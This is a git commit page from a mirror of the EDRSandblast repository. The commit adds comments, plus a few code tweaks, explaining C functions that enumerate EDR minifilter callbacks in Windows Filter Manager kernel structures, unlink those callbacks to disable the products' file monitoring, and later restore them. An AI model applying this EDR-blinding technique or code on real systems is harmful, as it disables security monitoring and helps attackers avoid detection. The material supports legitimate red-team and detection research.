mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
add documentation for minifilter-related functions
This commit is contained in:
@@ -14,6 +14,38 @@
|
||||
#include "MinifilterCallbacks.h"
|
||||
|
||||
|
||||
/*
|
||||
This function browses the internal structures of the Filter Manager to enumerate callbacks registered
|
||||
by EDR products.
|
||||
|
||||
To provide a quick context about the different internal structures:
|
||||
- The Filter Manager establishes a "frame" (_FLTP_FRAME) as its root structure;
|
||||
- A "volume" structure (_FLT_VOLUME) is instanciated for each "disk" managed by the Filter Manager (can be partitions,
|
||||
shadow copies, or special ones corresponding to named pipes or remote file systems);
|
||||
- To each registered minifilter driver corresponds a "filter" structure (_FLT_FILTER), describing various properties such
|
||||
as its supported operations;
|
||||
- These minifilters are not all attached to each volume; an "instance" (_FLT_INSTANCE) structure is created to mark each of the
|
||||
filter<->volume association;
|
||||
- Minifilters register callback functions that are executed before and/or after specific operation (file open, write, read, etc.).
|
||||
These callbacks are described in _CALLBACK_NODE structures. An array of all _CALLBACK_NODE implemented by an instance of a
|
||||
minifilter can be found in _FLT_INSTANCE; the array indexed by the IRP "major function" code, a constant representing the operation
|
||||
affected by the callback (IRP_MJ_CREATE, IRP_MJ_READ, etc.).
|
||||
Moreover, all _CALLBACK_NODEs implemented by instances linked to a specific volume are regrouped in linked lists, stored in the
|
||||
_FLT_VOLUME.Callbacks.OperationLists array indexed by IRP major function codes.
|
||||
|
||||
Upon a specific operation (for example, a file opening on C:), the appropriate _FLT_VOLUME is recovered from the _FLTP_FRAME structure
|
||||
(AttachedVolumes's list), the _FLT_VOLUME.Callbacks.OperationLists[irpMajorFunctionCode] list of _CALLBACK_NODE is browsed and callbacks
|
||||
functions are executed.
|
||||
|
||||
In order to detect EDR-related callbacks, the following function:
|
||||
- Enumerates the frames (_FLTP_FRAME) thanks to a list stored in a global variable of fltmgr.sys: ((_GLOBALS*)&FltGlobals)->FrameList.rList
|
||||
- Enumerates the filters (_FLT_FILTER) of the frame: ((_FLTP_FRAME*)currentFrame)->RegisteredFilters.rList
|
||||
- Checks if the driver implementing the filter is EDR-related (checks the name of the module where
|
||||
(_FLT_FILTER*)currentFilter->DriverObject->DriverInit is implemented)
|
||||
- If the driver is an EDR, enumerate all instances of the associated filter, by browsing ((_FLT_FILTER*)currentFilter)->InstanceList.rList
|
||||
- For each instance, enumerate the CallbackNodes array, whose non-NULL entries directly point to _CALLBACK_NODEs in their respective
|
||||
lists in _FLT_VOLUME.Callbacks.OperationLists
|
||||
*/
|
||||
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
|
||||
BOOL edrCallbacksWereFound = FALSE;
|
||||
|
||||
@@ -67,14 +99,13 @@ BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, B
|
||||
) {
|
||||
DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
|
||||
//printf("\t[*] CallbackNodes : 0x%p\n", (PVOID)CallbackNodesEntry);
|
||||
|
||||
// for each CALLBACK_NODE in the array
|
||||
DWORD64 CallbackNodesEntry = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
|
||||
DWORD64 CallbackNodesArray = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
|
||||
SIZE_T nbCallbackNodes = 0;
|
||||
for (int j = 0; j < 50; j++)
|
||||
{
|
||||
DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesEntry + (j * 8));
|
||||
DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesArray + (j * sizeof(PVOID)));
|
||||
// Register all callback nodes
|
||||
if (CallbackNodePointer)
|
||||
{
|
||||
@@ -110,6 +141,17 @@ BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, B
|
||||
}
|
||||
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
/*
|
||||
When EDR-related _CALLBACK_NODEs have been identified thanks to the previous function, to disable the callbacks, these nodes are
|
||||
simply unlinked from their lists.
|
||||
That way, the filter manager will not see the callback nodes and never execute the associated pre/post-operations functions upon
|
||||
some specific I/O operation.
|
||||
|
||||
Note: since we are modifying linked lists without holding any lock and while the operating system could browse the lists at the
|
||||
same time, we have to maintain at least some consistency during modification. The write primitive should be able to write a whole
|
||||
pointer (i.e. 8 bytes) in a single call, or else the overwritten pointer would have an incorrect value between 2 calls, and could
|
||||
lead to a crash if the operating system browses the list.
|
||||
*/
|
||||
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
|
||||
SIZE_T counter = 0;
|
||||
@@ -131,6 +173,12 @@ void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
To restore the callbacks, we rely on the fact that the LIST_ENTRY of the _CALLBACK_NODE still points to the original previous
|
||||
and next nodes in the list where is was unlinked from. We simply reinsert the nodes in the inverse order from which unlinked
|
||||
them to ensure the linked list consistency during the process.
|
||||
*/
|
||||
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
BOOL success = TRUE;
|
||||
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
|
||||
|
||||
Reference in New Issue
Block a user